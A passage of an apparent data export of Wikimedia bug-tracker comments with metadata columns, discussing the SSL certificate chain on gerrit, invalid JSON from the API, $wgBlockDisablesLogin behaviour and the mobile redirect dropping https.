+> krinkle@willow:~/externals/wikimedia-gerrit$ git clone https://gerrit.wikimedia.org/r/p/mediawiki/core.git mediawiki-core
+> Cloning into mediawiki-core...
+> remote: Counting objects: 362166, done
+> remote: Finding sources:   9% (34435/362166)   
+
+this is going to take a while :D",,,1336413475,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,True,,,-69,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+165273,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,See also https://jira.toolserver.org/browse/TS-1369,,,1336386977,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,True,,,-69,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+165268,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"Equifax / GeoTrust Root CA certificates for import on toolserver:
+
+http://www.geotrust.com/resources/root-certificates/index.html
+
+the gerrit cert is signed by Equifax",,,1336383443,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,True,,,-69,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+165263,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"A root certificate received via TLS Server Certificate exchange does not make it into the list of browser's trusted root certificates. I've never heard about the process of sneaking-in as you describe. You also cannot use root certificate as intermediate, since root certificate by definition has issuer == subject. An intermediate would need to have issuer set to something else.
+
+RFC 5246, section 7.4.2 says:
+
+certificate_list
+      This is a sequence (chain) of certificates.  The sender's
+      certificate MUST come first in the list.  Each following
+      certificate MUST directly certify the one preceding it.  Because
+      certificate validation requires that root keys be distributed
+      independently, the self-signed certificate that specifies the root
+      certificate authority MAY be omitted from the chain, under the
+      assumption that the remote end must already possess it in order to
+      validate it in any case.
+
+Including root certificate might have the advantage for clients not having it stored locally, i.e. in theory OCSP or CRL information from extended v3 attributes could be used to verify validity of the whole chain. 
+
+Path validation process (RFC 3280 section 6) describes a whole validation
+as coming from the top (CA) to the bottom (host certificate). If you don't
+have the issuer name (and most importantly, public key) you can't really
+verify the chain. Please note, that even if you don't trust the trust anchor
+(root CA) you can do certain validation - like expiration dates, names
+and making sure the whole chain is really working. So even without trust anchor set some basic validation is still possible. 
+
+By the way, https://en.wikipedia.org/ servers a whole CA path including the root and the intermediate CA as well:
+
+depth=2 C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert High Assurance EV Root CA
+verify return:1
+depth=1 C = US, O = DigiCert Inc, OU = www.digicert.com, CN = DigiCert High Assurance CA-3
+verify return:1
+depth=0 C = US, ST = California, L = San Francisco, O = ""Wikimedia Foundation, Inc."", CN = *.wikipedia.org
+verify return:1
+
+Please note, it's also a different root. (Because this is the so-called EV certificate).",,,1334137284,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,False,,,-72,True,1,1,0,1,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+165259,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"(In reply to comment #4)
+> 1) To achieve the change as envisioned by submitter - ""SSLCertificateChainFile""
+> option should be used, not ""SSLCACertificateFile"". This is a good thing so
+> probably Gerrit change #4334 could be amended and not reverted.
+
+I'm not certain it's a good thing and I still think it should be reverted. I don't care so much for the case of gerrit but in general (and certainly for a higher usage domain like a content wiki; note the same root CA is used for both bugzilla.wikimedia.org and www.wikimedia.org and probably others) I think we probably should not serve the root CA cert in a cert chain unless we actually expect it to make a difference for a client. (so, either because the CA told us to or because someone found a UA that behaves differently whether or not we serve the root cert in a chain)
+
+The only reason I know of for a widely accepted root CA cert to also be an intermediate cert signed by some other root CA is if it's a new cert that wants to get into browsers earlier than it would otherwise. (or to get in retroactively for an already released or frozen root store)
+
+That is a state that a root would be in only at the beginning of it's life cycle; it won't get to be an intermediate later after already being an accepted root. This particular root seems to have been first generated in 1998.
+
+I'm no expert on PKI genealogy or SSL / TLS service configuration or protocols. However, my guess is that in all cases where serving a chain would make a difference for conforming clients, the issuing CA would instruct the new cert holder to serve a chain and would provide copies of all the intermediate CA certs to be served. We could ask Equifax explicitly (or I could myself) but I doubt this root doubles as an intermediary for a modern (last ~8 years?) store that doesn't also store it directly. (that's mostly a guess but I did do some quick and dirty [[WP:OR]] that makes me think it's been in mozilla's store either >10 yrs or at least >9.8 yrs)",,,1334111913,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,False,,,-72,True,1,1,0,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,1,1,1,1,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,0,1,0,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1
+165254,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"I have commented in gerrit:
+
+1) To achieve the change as envisioned by submitter - ""SSLCertificateChainFile"" option should be used, not ""SSLCACertificateFile"". This is a good thing so probably gerrit change 4334 could be amended and not reverted.
+
+2) This change will have no effect on toolserver.org client - libcurl is checking certificates by default (and so does git), and the only proper fix is adding the root certificate as trusted per https://jira.toolserver.org/browse/TS-1351.",,,1334084689,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,False,,,-73,True,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,1
+165248,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"This solution seems to be using a config option which is for client authentication w/ client certs, not for certs coming from a server.
+
+http://httpd.apache.org/docs/2.0/ssl/ssl_howto.html#allclients
+
+Serving a CA cert in the certificate chain is only appropriate for intermediate certs not root CA certs AIUI. Example of appropriate serving of certificate chain: bug 23631
+
+See also https://jira.toolserver.org/browse/TS-1351.
+
+IMO, this (change 4334) clearly should be reverted.",,,1334080937,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,False,,,-73,True,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,1,0,0,0
+165242,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"<mutante> !log manganese (gerrit) now sends SSL CA certificate on https, (curl
+          -vvv says verify ok), should resolve [[RT:2777]] and [[BZ:35709]]",,,1333722205,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,False,,,-73,True,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+165233,Send full SSL certificate chain including root CA on gerrit.wikimedia.org,"Fixed?
+
+<gerrit-wm> New patchset: Dzahn; ""add SSLCACertificate file to gerrit apache
+            site"" [operations/puppet] (production) -
+            https://gerrit.wikimedia.org/r/4334",,,1333642252,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-msqi2wz4mvx6pdqmtx7r,task_subcomment,,True,c2,1,False,,,-73,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,1
+37300,API returns invalid JSON despite HTTP status 200,"Since a while I enabled a semi-automated reporting of a very heavily used script on WikimediCommons.
+
+The user has the possibility to press a button to post the error message to a list of those.
+
+Now, after about 1 month there are 4 reported (this means that this occurs much more often) errors:
+
+API request returned code 200 parsererror. Error code is SyntaxError: JSON.parse: Parsed string contains more than single value: <!DOCTY...
+
+or
+
+API request returned code 200 parsererror. Error code is SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data
+
+This means that jQuery received a 200 response and tried to build a JS-object for the presumed json-string and that failed.
+
+Since we are using ""secure techniques"" (js objects) to build the query string, and the format-parameter is always set to json by a wrapper-method (all requests are handled by doAPICall), this problem only occurs when editing, I think the problem is at the server side.
+
+If you would like to be up-to-date with those issues, just watch https://secure.wikimedia.org/wikipedia/commons/wiki/MediaWiki_talk:AjaxQuickDelete.js/auto-errors for new entries with ""API request returned code"" (I could make a separate page for server errors, if you want or send them with JSONP to a health-status-server. 
+It's a page you can learn a lot from: E.g. ""API request failed (hookaborted): The modification you tried to make was aborted by an extension hook"" is a very bad error-message. User has to guess which hook of the the thousands.)
+
+--------------------------
+**Version**: 1.19
+**Severity**: normal",Medium,50.0,1332084900,1424446950.0,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,PHID-USER-uqcn2l4ng4murmyfnvyp,False,PHID-TASK-mc5lgpogdc3y45vi66pi,task_description,duplicate,True,c2,1,False,False,False,-76,True,1,0,1,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,1,0,1,0,1,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,1,0,1
+167280,API returns invalid JSON despite HTTP status 200,"Thanks for the pointers.
+
+After I changed the order in which the object is built, this error seems to persist:
+
+MediaWiki_talk%3AAjaxQuickDelete.js%2Fauto-errors&action=historysubmit&diff=68604416&oldid=68604084
+
+(BTW, the user uses IE8 if this is of importance)
+
+Of course browsers are free how they convert an object into a json-string but this error occurs too often that I would say it is a seldom loss of information somewhere between wikimedia and the client. I could try to improve the error-handler further to get the whole response-text & -headers which is difficult because it should not contain private/secret data (setCookies, tokens, ...).",,,1332259905,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-mc5lgpogdc3y45vi66pi,task_subcomment,,True,c2,1,False,,,-76,True,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,1,1,0,1,1,0,1,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+167273,API returns invalid JSON despite HTTP status 200,"(In reply to comment #0)
+> If you would like to be up-to-date with those issues, just watch
+> https://secure.wikimedia.org/wikipedia/commons/wiki/MediaWiki_talk:AjaxQuickDelete.js/auto-errors
+> for new entries with ""API request returned code""
+
+Nice!  But, you do know you can just change ""http"" to ""https"" now, right?
+
+That would give you:
+ https://commons.wikimedia.org/wiki/MediaWiki_talk:AjaxQuickDelete.js/auto-errors
+
+> It's a page you can learn a lot from: E.g. ""API request failed (hookaborted):
+> The modification you tried to make was aborted by an extension hook"" is a very
+> bad error-message. User has to guess which hook of the the thousands.)
+
+See bug #22922 and bug #14261 comment #8  -- if you find others, please report them and mark #14261 for the tracker.",,,1332190196,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-mc5lgpogdc3y45vi66pi,task_subcomment,,True,c2,1,False,,,-76,True,0,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,1,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,1,1,1,1,0,0,0,1
+167264,API returns invalid JSON despite HTTP status 200,"Maybe the post requests are somehow cut off or it is a specific Wikimedia issue. These errors seem to occur randomly and I have no clue how to reproduce.
+
+One of the failed requests may have looked like:
+POST to commons.wikimedia.org/w/api.php
+
+Params:
+action: edit
+summary: Nominating for deletion
+watchlist: preferences
+title: File:Copa Airlines Colombia logo.jpg
+token: //+
+prependtext: {{delete|reason=Per [[:Commons:Deletion requests/File:Copa Airlines.jpg]] ~|subpage=File:Copa Airlines Colombia logo.jpg|year=2012|month=March|day=18}}
+format: json
+
+(action=edit&summary=Nominating+for+deletion&watchlist=preferences&title=File%3ACopa+Airlines+Colombia+logo.jpg&token=%2F%2F%2B&prependtext=%7B%7Bdelete%7Creason%3DPer+%5B%5B%3ACommons%3ADeletion+requests%2FFile%3ACopa+Airlines.jpg%5D%5D+~%7Csubpage%3DFile%3ACopa+Airlines+Colombia+logo.jpg%7Cyear%3D2012%7Cmonth%3DMarch%7Cday%3D18%7D%7D&format=json)
+
+I know that the edit-token should be sent last. Will try to get it after the text. And, of course it is desirable having the format=json param first. Will make same changes and return if the issue persists.",,,1332159382,,PHID-USER-fgjrqsoj4hk6ezzjdea4,False,,,PHID-TASK-mc5lgpogdc3y45vi66pi,task_subcomment,,True,c2,1,False,,,-76,True,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,0,1,1,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,1,1,1,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+167254,API returns invalid JSON despite HTTP status 200,"**EN.WP.ST47** wrote:
+
+What request causes the API to return invalid JSON data, and what JSON data does it return?",,,1332097089,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-mc5lgpogdc3y45vi66pi,task_subcomment,,True,c2,1,False,,,-76,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,0,0,0
+37252,$wgBlockDisablesLogin - effective on a private wiki?,"At http://mediawiki.org/wiki/Extension_talk:$wgBlockDisablesLogin, it appears that an anonymous user has found a bug in the software. Apparently, while logins are disabled, read/write access is still granted to a user blocked with this setting set.
+
+--------------------------
+**Version**: 1.18.x
+**Severity**: normal",Medium,50.0,1331872920,1353752688.0,PHID-USER-wqc7ciyvfzunj3l2tvjt,False,,False,PHID-TASK-axi7qtlxpdfglq4l6ae2,task_description,declined,True,c2,1,False,False,True,-76,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+164875,$wgBlockDisablesLogin - effective on a private wiki?,I've tested this in a few ways with my blocked account on internal.wikimedia.org and it works for me.,,,1353752688,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-axi7qtlxpdfglq4l6ae2,task_subcomment,,True,c2,1,True,,,-40,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+164869,$wgBlockDisablesLogin - effective on a private wiki?,"No, the behavior apparently is that the user who logs in, after a failed login, gets read/write access ''but where anonymous users shouldn't get it in the first place'', i.e. $wgGroupPermissions['*']['read']=false;.",,,1333409126,,PHID-USER-wqc7ciyvfzunj3l2tvjt,False,,,PHID-TASK-axi7qtlxpdfglq4l6ae2,task_subcomment,,True,c2,1,False,,,-74,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+164864,$wgBlockDisablesLogin - effective on a private wiki?,"This is the correct behaviour, that setting doesn't disable anonymous read/write access as stated on the page: https://www.mediawiki.org/wiki/Manual:$wgBlockDisablesLogin",,,1333346525,,PHID-USER-fl3e5yy5n6ewjsv242bg,False,,,PHID-TASK-axi7qtlxpdfglq4l6ae2,task_subcomment,,True,c2,1,False,,,-74,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+164858,$wgBlockDisablesLogin - effective on a private wiki?,"No, the user login is denied, but as an anonymous user there is read/write access.",,,1331934674,,PHID-USER-wqc7ciyvfzunj3l2tvjt,False,,,PHID-TASK-axi7qtlxpdfglq4l6ae2,task_subcomment,,True,c2,1,False,,,-76,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0
+164853,$wgBlockDisablesLogin - effective on a private wiki?,"Do you mean that existing logins remain valid?
+
+... fixed link: https://www.mediawiki.org/wiki/Manual_talk:$wgBlockDisablesLogin",,,1331876233,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-axi7qtlxpdfglq4l6ae2,task_subcomment,,True,c2,1,True,,,-76,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,1,0,0,1
+37215,Mobile redirect strips https,"When I access https://en.wikipedia.org on my cellphone, the redirector sends me to http://en.m.wikipedia.org but not the https one.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1331692860,1384598439.0,PHID-USER-zjzhrhmn36icnzbckqy4,False,,False,PHID-TASK-lnln237zpmkwoeh5dppn,task_description,resolved,True,c2,1,False,False,True,-76,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0
+172002,Mobile redirect strips https,Yay!,,,1384598439,,PHID-USER-aasrweh54ew7py3agvg2,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,3,False,,,11,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+171995,Mobile redirect strips https,"(In reply to comment #18)
+> Was this fixed as part of another piece of work?
+
+The move to varnish. (I guess) AIUI, squid is no longer in active use. (except maybe brewster?)
+
+> Are there outstanding
+> issues?
+
+bug 31369 should be mostly still broken. (did ~3 mins of testing just now)
+
+Also, just found a (possibly new) issue: bug 57132
+
+I'm not sure if the mobile redirect already has tests but definitely deserves some :)
+
+> If it is completely fixed, this should be disseminated in a tech notes if it
+> hasnt been done already.
+
+Looks like this is where the magic happens:
+https://git.wikimedia.org/blob/operations%2Fpuppet.git/f3db6e91cdefa91f27e04f639f9de8146d1d14a5/templates%2Fvarnish%2Ftext-frontend.inc.vcl.erb#L23",,,1384591350,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,3,False,,,11,True,1,0,1,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1
+171989,Mobile redirect strips https,"I can no longer reproduce the problem in the original report in Firefox Beta and Opera Mini on Android.
+
+On each app, I cleared the app data, clicked on the link https://en.wikipedia.org as appears on this bug, and was directed to https://en.m.wikipedia.org/wiki/Main_Page
+
+Well done!
+
+Was this fixed as part of another piece of work?  Are there outstanding issues?
+If it is completely fixed, this should be disseminated in a tech notes if it hasnt been done already.",,,1384588487,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,3,True,,,11,True,1,0,1,1,0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,0,1,0,1,1,1,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,1,0,0,1,1,1,1,0,0,1,1,0,1,0,0,0,0,0
+171983,Mobile redirect strips https,*** Bug 31334 has been marked as a duplicate of this bug. ***,,,1368720968,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-15,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+171977,Mobile redirect strips https,"Comment in RT #2635 by Asher Feldman is:
+
+""This has been a known issue since day 1 and will not be addressed while squid is still in use for article caching.  It will be addressed when squid and the current redirector are both retired.  This has no bearing on mobile login, or on any features being developed by the mobile team.""",,,1368719113,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-15,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+171972,Mobile redirect strips https,"**mwalker** wrote:
+
+In theory, when someone accesses HTTPS they're doing it because they're concerned about their privacy/security. There may be concerns that their mobile carrier is injecting things, or that some national agency is monitoring their communications, or ??? It doesn't really matter though -- a user has requested we respect their privacy and then we go ahead and ignore it. Even beyond that; this is seriously unexpected behavior and it's not announced to the user that this is happening. This should be fixed immediately.
+
+It also causes issues with other extensions being deployed to the mobile site. E.g. CentralNotice when it makes its RecordImpression call.
+
+It's stupid to hang this bug on varnish maybe, or maybe not, having been deployed. Given that this is 2013Q2 apparently the varnish deploy has been pushed back.
+
+!!! Let's fix this by redirecting everything to HTTPS. !!!
+
+Not only is redirecting everything to HTTPS respectful to users wishes; it's  also not unexpected -- HTTP to HTTPS promotion is commonly seen and does not cause CORS issues.",,,1366756652,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-19,True,1,1,0,1,1,1,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,1,1,1,0,0,1,0,1,1,1,1,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+171964,Mobile redirect strips https,"Arthur brought the request  up in the ops@ mailing list.
+
+Quoting Asher Feldman's reply:
+""The proposed solution in the bugzilla ticket is to run an additional 100
+redirector processes on every squid just to handle https mobile redirects.
+I don't like that.  It will be easy to do cleanly once text has been
+migrated to varnish, hopefully in 2013Q2.""",,,1357143851,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-34,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+171957,Mobile redirect strips https,"Max, run your changes by ops and see what they have to say. Even mailing to the ops list might be a good approach to get the changes made sooner rather than later.",,,1354558795,,PHID-USER-jh2oguhshocanixqvlfk,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,False,,,-39,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+171951,Mobile redirect strips https,*** Bug 42605 has been marked as a duplicate of this bug. ***,,,1354536412,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lnln237zpmkwoeh5dppn,task_subcomment,,True,c2,1,True,,,-39,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+171947,Mobile redirect strips https,"The solution (admittedly, ugly one) is to make the redirector redirect to http or https depending on command-line argument and have two sets of redirection rules, one for http and another for https. In such case, the bottom of mobile_acls.conf would look something like that:
+
+acl forwarded_https req_header X-Forwarded-Proto https
+
+url_rewrite_access allow mobile wpcontent !nomobile !nomobileua !mobtrial !forwarded_https
